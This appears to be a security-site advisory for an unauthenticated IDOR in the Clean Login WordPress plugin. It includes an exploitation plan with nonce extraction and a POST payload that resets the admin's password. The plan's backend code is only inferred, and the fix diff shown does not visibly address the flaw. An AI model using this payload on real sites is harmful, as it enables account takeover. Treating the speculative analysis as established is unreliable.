CVE-2026-54184

Clean Login <= 1.15 - Unauthenticated Insecure Direct Object Reference

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.16
Patched in
10d
Time to patch

Description

The Clean Login plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.15 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.15
PublishedJune 16, 2026
Last updatedJune 25, 2026
Affected pluginclean-login

What Changed in the Fix

Changes introduced in v1.16

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-54184 (Clean Login IDOR) ## 1. Vulnerability Summary The **Clean Login** plugin (versions <= 1.15) contains an **Insecure Direct Object Reference (IDOR)** vulnerability. The plugin's profile update logic (triggered by the `edit` action) allows identifying the …

Show full research plan

Exploitation Research Plan: CVE-2026-54184 (Clean Login IDOR)

1. Vulnerability Summary

The Clean Login plugin (versions <= 1.15) contains an Insecure Direct Object Reference (IDOR) vulnerability. The plugin's profile update logic (triggered by the edit action) allows identifying the user to be updated via a user-controlled parameter (likely email or user_id) without verifying if the requester has the authority to modify that specific user. Because the plugin does not properly check if the current requester is the owner of the account or an administrator, an unauthenticated attacker can provide the identifier of any user (e.g., the administrator) and change their account details, including their password.

2. Attack Vector Analysis

  • Endpoint: The vulnerability is processed during the init or wp_loaded hook via the CleanLogin_Controller. Since the forms in content/login-edit.php and content/login-form.php post to themselves or the login URL, the exploit can be sent to the site's front page or any page containing the plugin's shortcode.
  • Action: edit (passed in the action parameter).
  • Vulnerable Parameter: email (This acts as the "user-controlled key" to reference the user object).
  • Authentication: Unauthenticated. The plugin uses WordPress nonces, but since the vulnerability is accessible to logged-out users, a nonce generated for UID 0 (the anonymous user) is sufficient.
  • Preconditions: The attacker must know the email address of the target user (commonly the admin email).

3. Code Flow

  1. Entry Point: The plugin initializes CleanLogin_Controller in clean-login.php.
  2. Hook Registration: The controller likely listens for POST requests where $_POST['action'] === 'edit'.
  3. Identifier Extraction: The code retrieves the user identifier from the request. Based on content/login-edit.php, the identifier is the email field:
    <input type="hidden" name="email" value="<?php echo $current_user->user_email; ?>">
    
  4. Vulnerable Logic (Inferred): The backend handler likely performs a lookup similar to:
    $user_email = $_POST['email'];
    $user = get_user_by('email', $user_email);
    // ... Missing is_user_logged_in() check or ownership check ...
    // ... Proceed to update $user with $_POST['pass1'] ...
    
  5. Sink: The user's information is updated using wp_update_user() or wp_set_password().

4. Nonce Acquisition Strategy

The clean_login_wpnonce is required for the request to be processed. For unauthenticated users, this nonce is tied to UID 0.

  1. Shortcode: The plugin uses the shortcode [clean-login] or [clean-login-edit].
  2. Page Creation: Create a public page containing the [clean-login] shortcode to ensure the nonce is generated and rendered.
    • wp post create --post_type=page --post_status=publish --post_title="Login" --post_content='[clean-login]'
  3. Extraction:
    • Use browser_navigate to visit the new page.
    • Use browser_eval to extract the nonce from the hidden input field named clean_login_wpnonce.
    • JavaScript: document.querySelector('input[name="clean_login_wpnonce"]').value

5. Exploitation Strategy

  1. Target Identification: Identify the administrator's email (default in test environments is often admin@example.com).
  2. Nonce Retrieval: Get a valid clean_login_wpnonce for an unauthenticated session.
  3. Payload Construction:
    • Method: POST
    • URL: The URL of the page containing the [clean-login] shortcode.
    • Body (URL-encoded):
      • action=edit
      • email=admin@example.com (The IDOR key)
      • pass1=PwnedPassword123!
      • pass2=PwnedPassword123!
      • clean_login_wpnonce=[EXTRACTED_NONCE]
      • submit=Update profile
  4. Execution: Send the request using the http_request tool.

6. Test Data Setup

  1. Administrator User: Ensure a user with administrator privileges exists (e.g., username: admin, email: admin@example.com).
  2. Shortcode Page:
    wp post create --post_type=page --post_status=publish --post_content='[clean-login]' --post_title='Auth Page'
    
  3. Plugin Config: Ensure the plugin is active.

7. Expected Results

  • HTTP Response: The server should return a 200 OK or a 302 redirect. If the plugin provides feedback, look for strings like "Profile updated" (localized).
  • Outcome: The password for the user associated with admin@example.com will be changed to PwnedPassword123!.

8. Verification Steps

  1. Check Password via WP-CLI:
    Try to authenticate as the admin using the new password:
    wp user check-password admin PwnedPassword123!
    
    If it returns "Success", the exploit was successful.
  2. Check User Meta:
    Verify if other fields (like first_name or last_name) were also modified if they were included in the payload.

9. Alternative Approaches

  • Luring the Admin: If unauthenticated password reset fails due to a session check we missed, the same IDOR can be used for a CSRF attack. Since the clean_login_wpnonce is available to the admin on their own profile page, an attacker could trick the admin into visiting a page that submits the edit form with the attacker's email/password, though the CVSS and description suggest a direct unauthenticated bypass.
  • Different Identifier: If email is not the key, try user_id or id as a POST parameter. (e.g., email=admin@example.com&user_id=1).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Clean Login plugin for WordPress (<= 1.15) is vulnerable to an Insecure Direct Object Reference (IDOR) via the profile update functionality. Unauthenticated attackers can reset the password of any user by providing that user's email address in a POST request to the 'edit' action handler, as the plugin fails to verify the requester's authority over the specified account.

Vulnerable Code

/* content/login-edit.php lines 26-28 */
<?php else: ?>
	<input type="hidden" name="email" value="<?php echo $current_user->user_email; ?>">
<?php endif; ?>

---

/* content/login-edit.php lines 64-67 */
<div>	
	<input type="submit" value="<?php echo __( 'Update profile', 'clean-login' ); ?>" name="submit">
	<input type="hidden" name="action" value="edit">		
</div>

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/clean-login/1.15/clean-login.php /home/deploy/wp-safety.org/data/plugin-versions/clean-login/1.16/clean-login.php
--- /home/deploy/wp-safety.org/data/plugin-versions/clean-login/1.15/clean-login.php	2026-04-05 22:49:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/clean-login/1.16/clean-login.php	2026-05-05 22:19:30.000000000 +0000
@@ -4,16 +4,18 @@
 Plugin URI: https://codection.com
 Description: Responsive Frontend Login and Registration plugin. A plugin for displaying login, register, editor and restore password forms through shortcodes. [clean-login] [clean-login-edit] [clean-login-register] [clean-login-restore]
 Author: codection
-Version: 1.15
+Version: 1.16
 Author URI: https://codection.com
 Text Domain: clean-login
 Domain Path: /lang
+License: GPL-2.0-or-later
+License URI: https://www.gnu.org/licenses/gpl-2.0.html
 */
 
 if ( ! defined( 'ABSPATH' ) ) 
 	exit; 
 
-define( "CLEAN_LOGIN_VERSION", "1.15" );
+define( "CLEAN_LOGIN_VERSION", "1.16" );
 define( "CLEAN_LOGIN_PATH", plugin_dir_path( __FILE__ ) );
 define( "CLEAN_LOGIN_URL", plugin_dir_url( __FILE__ ) );
 define( "CLEAN_LOGIN_CAPTCHA_URL", plugins_url( 'content/captcha', __FILE__ ) );
@@ -98,8 +100,8 @@
 		if( get_option('cl_logout_redirect', false) == '' )
 			return;
 	
-		$logoutredirect_url = get_option('cl_logout_redirect_url', false) ? esc_url( apply_filters( 'cl_logout_redirect_url', CleanLogin_Controller::get_translated_option_page('cl_logout_redirect_url' ) ) ): home_url();
-		wp_redirect( $logoutredirect_url );
+		$logoutredirect_url = get_option('cl_logout_redirect_url', false) ? esc_url( apply_filters( 'clean_login_logout_redirect_url', CleanLogin_Controller::get_translated_option_page('cl_logout_redirect_url' ) ) ): home_url();
+		wp_safe_redirect( $logoutredirect_url );
 		exit();
 	}
 }

Exploit Outline

An attacker first identifies the email address of a target user (e.g., the administrator). They then obtain a valid security nonce ('clean_login_wpnonce') by visiting any public page on the site that renders a plugin shortcode. Using this nonce, the attacker sends an unauthenticated POST request to the site with the 'action' parameter set to 'edit', the 'email' parameter set to the target's email, and new password values. The plugin processes this request and updates the credentials for the specified email without verifying if the requester is authorized to modify that account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.